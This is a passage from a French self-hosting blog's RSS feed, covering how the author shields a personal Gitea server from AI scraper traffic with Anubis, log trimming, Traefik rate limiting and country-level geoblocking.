&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;difficulty&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;report_as&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;algorithm&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;slow&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;ai-bots&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;user_agent_regex&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;(?i)(AI2Bot|Ai2Bot-Dolma|Amazonbot|anthropic-ai|Applebot|Applebot-Extended|Brightbot 1.0|Bytespider|CCBot|ChatGPT-User|Claude-Web|ClaudeBot|cohere-ai|cohere-training-data-crawler|Crawlspace|Diffbot|DuckAssistBot|FacebookBot|FriendlyCrawler|Google-Extended|GoogleOther|GoogleOther-Image|GoogleOther-Video|GPTBot|iaskspider/2.0|ICC-Crawler|ImagesiftBot|img2dataset|imgproxy|ISSCyberRiskCrawler|Kangaroo Bot|Meta-ExternalAgent|Meta-ExternalFetcher|OAI-SearchBot|omgili|omgilibot|PanguBot|Perplexity-User|PerplexityBot|PetalBot|Scrapy|SemrushBot-OCOB|SemrushBot-SWA|Sidetrade indexer bot|Timpibot|VelenPublicWebCrawler|Webzio-Extended|YouBot)&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;action&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;CHALLENGE&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;challenge&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;difficulty&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;report_as&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nt&#34;&gt;&amp;#34;algorithm&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;slow&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;user_agent_regex&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;.*&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nt&#34;&gt;&amp;#34;action&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;CHALLENGE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;suppression-des-logs-daccès-sur-anubis&#34;&gt;Suppression des logs d&amp;rsquo;accès sur Anubis&lt;/h2&gt;
&lt;p&gt;Avec mon instance Gitea de nouveau debout, mes fichiers de logs d&amp;rsquo;accès explosent.
Or avec Traefik, il n&amp;rsquo;y a pas moyen de ne pas loguer les accès pour un seul service, c&amp;rsquo;est tout ou rien.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai donc mis en place une simple tâche cron qui va faire la commande &lt;code&gt;sed&lt;/code&gt; pour supprimer tous les logs sur le service Anubis:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sed -i &lt;span class=&#34;s1&#34;&gt;&amp;#39;/&amp;#34;gitea-anubis@docker&amp;#34;/d&amp;#39;&lt;/span&gt; /path/to/traefik-access.log &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker &lt;span class=&#34;nb&#34;&gt;kill&lt;/span&gt; --signal&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;USR1&amp;#34;&lt;/span&gt; traefik &amp;gt; /dev/null 2&amp;gt;&lt;span class=&#34;p&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Il faut également envoyer le signal &lt;code&gt;USR1&lt;/code&gt; à Traefik afin qu&amp;rsquo;&lt;a href=&#34;https://doc.traefik.io/traefik/observability/access-logs/#log-rotation&#34;&gt;il ré-ouvre le fichier de log de son côté&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas parfait, parce que ça me supprime les IP entrantes dans les logs d&amp;rsquo;accès de Gitea (du point de vue de Traefik, le trafic provient d&amp;rsquo;Anubis via l&amp;rsquo;entrypoint dédié), mais ça évite de générer plusieurs centaines de Mo de logs pour rien chaque jour.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;C&amp;rsquo;est très dommage de devoir faire ça, mais ça protège réellement mon serveur sans avoir à bloquer des pays entiers.
Ça demande également des calculs &amp;ldquo;inutiles&amp;rdquo; (dans le sens où ils ne servent pas à quelque chose d&amp;rsquo;utile derrière) à chaque nouveau client, mais peut-on encore parler de sobriété face à ce que consomme l&amp;rsquo;entraînement des IA ?&lt;/p&gt;
&lt;p&gt;À noter également que pour l&amp;rsquo;instant, Anubis rend le Javascript obligatoire.
C&amp;rsquo;est un point à prendre en compte dans le choix de mettre Anubis devant un service.&lt;/p&gt;
&lt;p&gt;Pour finir, dans cet article, je montre comment j&amp;rsquo;ai configuré Anubis avec Gitea, mais on voit qu&amp;rsquo;on peut très facilement l&amp;rsquo;adapter à d&amp;rsquo;autres services.
J&amp;rsquo;ai par exemple rajouté Anubis sur ce site pour éviter que les IA y volent le contenu sans mon accord.&lt;/p&gt;
</description>
                
                    <category>Outils</category>
                
                    <category>Open Source</category>
                
                    <category>Tutoriel</category>
                
                    <category>Traefik</category>
                
            </item>
        
            <item>
                <title>[Tutoriel] Bloquer l&#39;accès à votre serveur à des pays</title>
                <link>https://www.pofilo.fr/post/2025/03/19-bloquer-pays/</link>
                <pubDate>Wed, 19 Mar 2025 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2025/03/19-bloquer-pays/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Bonne année &lt;del&gt;2024&lt;/del&gt;.. 2025, enfin bref, ça fait bien longtemps que j&amp;rsquo;ai rien posté ici !&lt;/p&gt;
&lt;p&gt;Il y a quelques semaines, j&amp;rsquo;ai remarqué un usage anormal du CPU sur mon serveur principal, je vais faire part ici d&amp;rsquo;une mini analyse et ce que j&amp;rsquo;ai fait pour y remédier.&lt;/p&gt;
&lt;h1 id=&#34;lanalyse&#34;&gt;L&amp;rsquo;analyse&lt;/h1&gt;
&lt;p&gt;J&amp;rsquo;ai remarqué directement que l&amp;rsquo;instance &lt;strong&gt;Mariadb&lt;/strong&gt; utilisée par &lt;strong&gt;Gitea&lt;/strong&gt; était à 100% sur tous les cœurs.
Je vais voir dans les logs de &lt;strong&gt;Traefik&lt;/strong&gt; et je me rends compte que je prends plus de 800 requêtes par secondes depuis des jours (avec des bursts à plus de 1500 req/s) depuis beaucoup (vraiment beaucoup) d&amp;rsquo;adresses IP différentes (on ne parle pas de 10 voire 100 adresses, mais bien plus mais je n&amp;rsquo;ai plus les chiffres et pas le temps de reparcourir les logs &amp;hellip;).&lt;/p&gt;
&lt;p&gt;Or sur mon instance Gitea, je n&amp;rsquo;ai pas énormément de choses &amp;hellip;
Rien d&amp;rsquo;assez passionnant pour justifier autant de trafic.&lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;user-agent&lt;/strong&gt; utilisé est celui de Google Chrome et en creusant un peu plus sur les IPs, je vois que 95% viennent de Chine, 2% de Singapour, 2% de Hong Kong et 1% pour le reste du monde.
En creusant encore plus, j&amp;rsquo;apprends que je ne suis pas du tout le seul dans ce cas et que ce sont des robots pour piller de la data afin d&amp;rsquo;entraîner des IA qui tapent tous azimuts des instances Gitea publiques.&lt;/p&gt;
&lt;p&gt;Donc ils utilisent un &lt;strong&gt;user-agent&lt;/strong&gt; qui leur permet de pas être détecté instantanément.
Et ils ne respectent pas non plus le fichier &lt;code&gt;robots.txt&lt;/code&gt; dont voici son contenu:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;User-agent: *
Disallow: /
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C&amp;rsquo;est assez clair, j&amp;rsquo;interdis tous les robots (comme le confirme le site &lt;a href=&#34;https://robots-txt.com/ressources/robots-txt-disallow-all/&#34;&gt;robots-txt.com&lt;/a&gt;).&lt;/p&gt;
&lt;h1 id=&#34;les-divers-palliatifs&#34;&gt;Les divers palliatifs&lt;/h1&gt;
&lt;h2 id=&#34;couper-linstance&#34;&gt;Couper l&amp;rsquo;instance&lt;/h2&gt;
&lt;p&gt;À ce moment-là, c&amp;rsquo;était plutôt l&amp;rsquo;heure pour moi d&amp;rsquo;aller me coucher, j&amp;rsquo;ai donc voulu passer mon instance Gitea en &lt;strong&gt;mode maintenance&lt;/strong&gt;.
C&amp;rsquo;est une simple page HTML qui indique que le service est en maintenance.
Le tout servit par un &lt;strong&gt;serveur nginx&lt;/strong&gt;.
Comme la page de maintenance répondait encore plus vite (des réponses 200), le nombre de requêtes a augmenté, et le serveur nginx ne tenait pas la charge &amp;hellip;
J&amp;rsquo;ai donc coupé l&amp;rsquo;instance jusqu&amp;rsquo;au lendemain dans l&amp;rsquo;attente d&amp;rsquo;une solution plus pérenne.&lt;/p&gt;
&lt;h2 id=&#34;whitelisting-avec-trafik&#34;&gt;Whitelisting avec Trafik&lt;/h2&gt;
&lt;p&gt;La première chose que j&amp;rsquo;ai faite le lendemain, c&amp;rsquo;est d&amp;rsquo;activer le middleware &lt;a href=&#34;https://doc.traefik.io/traefik/middlewares/http/ipallowlist/&#34;&gt;IPAllowList&lt;/a&gt; de Traefik.
Rien de sorcier, j&amp;rsquo;ai autorisé les quelques IP nécessaires à mon besoin personnel.
Je suis le seul utilisateur de mon instance mais certains dépôts sont publics, tant pis pour l&amp;rsquo;indisponibilité sur ce laps de temps (et je suis désolé si ça a gêné certaines personnes).&lt;/p&gt;
&lt;h2 id=&#34;ratelimit-avec-traefik&#34;&gt;Ratelimit avec Traefik&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai ensuite mis en place le middleware &lt;a href=&#34;https://doc.traefik.io/traefik/middlewares/http/ratelimit/&#34;&gt;RateLimit&lt;/a&gt; de Traefik dans le but de désactiver le plugin &lt;strong&gt;IpAllowList&lt;/strong&gt;.
Or c&amp;rsquo;est bête, mais comme je me faisais taper très fort, mes propres requêtes sur l&amp;rsquo;instance ne passaient pas &amp;hellip;
Ce n&amp;rsquo;est donc pas viable, mais je laisse ce ratelimit, ça ne mange pas de pain (et ça protège l&amp;rsquo;instance Mariadb et donc le CPU du serveur).&lt;/p&gt;
&lt;h2 id=&#34;blocage-géographique-avec-traefik&#34;&gt;Blocage géographique avec Traefik&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai ensuite découvert le plugin &lt;a href=&#34;https://plugins.traefik.io/plugins/62d6ce04832ba9805374d62c/geo-block&#34;&gt;GeoBlock&lt;/a&gt; (&lt;a href=&#34;https://github.com/PascalMinder/geoblock&#34;&gt;code source ici&lt;/a&gt;) donc l&amp;rsquo;objectif est de pouvoir blacklister (ou whitelister) des pays entiers.&lt;/p&gt;
&lt;p&gt;Voilà ce que j&amp;rsquo;ai donc rajouté dans ma configuration statique de Traefik:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;experimental&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;localPlugins&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;geoblock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;moduleName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;github.com/PascalMinder/geoblock&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et dans la configuration dynamique:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;http&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;middlewares&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;geoblock-deny-countries&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;      &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;geoblock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;silentStartUp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;allowLocalRequests&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;logLocalRequests&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;logAllowedRequests&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;logApiRequests&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;#logFilePath: &amp;#34;/geoblock.log&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;api&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;https://get.geojs.io/v1/ip/country/{ip}&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;apiTimeoutMs&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;750&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;cacheSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;250000&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;forceMonthlyUpdate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;allowUnknownCountries&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;unknownCountryApiResponse&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;nil&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
